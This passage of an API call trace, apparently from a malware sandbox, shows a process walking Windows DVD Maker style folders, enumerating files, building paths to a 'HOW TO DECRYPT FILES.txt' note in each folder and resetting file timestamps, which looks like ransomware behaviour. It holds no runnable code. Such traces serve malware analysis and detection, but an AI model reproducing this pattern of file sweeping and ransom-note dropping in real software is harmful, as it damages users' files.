Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.895] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.895] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt" [0059.895] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\how to decrypt files.txt")) returned 0x20 [0059.895] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="BabyBoyMainBackground_PAL.wmv" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" [0059.895] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.895] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned="BabyBoyMainBackground_PAL.wmv" [0059.895] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.895] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.895] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.895] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned="BabyBoyMainToNotesBackground.wmv" [0059.895] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.895] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.896] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.896] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned="BabyBoyMainToNotesBackground_PAL.wmv" [0059.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.896] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.896] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.896] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned="BabyBoyMainToScenesBackground.wmv" [0059.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.896] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.896] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.896] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned="BabyBoyMainToScenesBackground_PAL.wmv" [0059.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.896] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.896] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.897] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned="BabyBoyNotesBackground.wmv" [0059.897] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.897] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.897] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.928] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned="BabyBoyNotesBackground_PAL.wmv" [0059.928] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.928] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.929] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned="BabyBoyScenesBackground.wmv" [0059.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.929] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.929] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned="BabyBoyScenesBackground_PAL.wmv" [0059.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.929] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.930] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.930] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned="LightBlueRectangle.PNG" [0059.930] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.930] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.930] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.930] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned="MainMenuButtonIcon.png" [0059.930] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.930] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.931] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.931] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned="navSubpicture.png" [0059.931] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.931] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.931] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.931] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned="nav_leftarrow.png" [0059.931] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.931] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.931] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.931] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned="nav_rightarrow.png" [0059.931] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.931] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.932] lstrcmpA (lpString1=".", lpString2="BabyGirl") returned -1 [0059.932] lstrcmpA (lpString1="..", lpString2="BabyGirl") returned -1 [0059.932] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*") returned="*.*" [0059.932] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8240, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0059.934] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.934] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.934] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.934] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.934] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*") returned="*.*" [0059.934] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.934] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.935] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.936] CloseHandle (hObject=0x90) returned 1 [0059.936] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.936] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png") returned="16_9-frame-background.png" [0059.936] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.936] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.937] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.937] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png") returned="16_9-frame-highlight.png" [0059.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.937] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.937] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.937] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned="16_9-frame-image-mask.png" [0059.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.937] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.937] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.937] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned="babypink.png" [0059.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.937] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.937] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.937] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned="background.png" [0059.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.937] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.938] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.938] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned="bear_formatted_matte2.wmv" [0059.938] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.938] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.938] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.938] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned="Bear_Formatted_MATTE2_PAL.wmv" [0059.938] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.938] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.938] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.938] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned="bear_formatted_rgb6.wmv" [0059.938] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.938] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.938] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.938] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned="Bear_Formatted_RGB6_PAL.wmv" [0059.938] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.938] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.939] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.939] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned="btn-back-static.png" [0059.939] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.939] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.939] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.939] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned="btn-next-static.png" [0059.940] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.940] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.940] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.940] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned="btn-previous-static.png" [0059.940] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.940] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.940] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.940] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned="button-highlight.png" [0059.940] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.940] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.941] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.941] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned="chapters-static.png" [0059.941] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0059.941] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="" [0059.941] PeekMessageA (in: lpMsg=0x18f784, 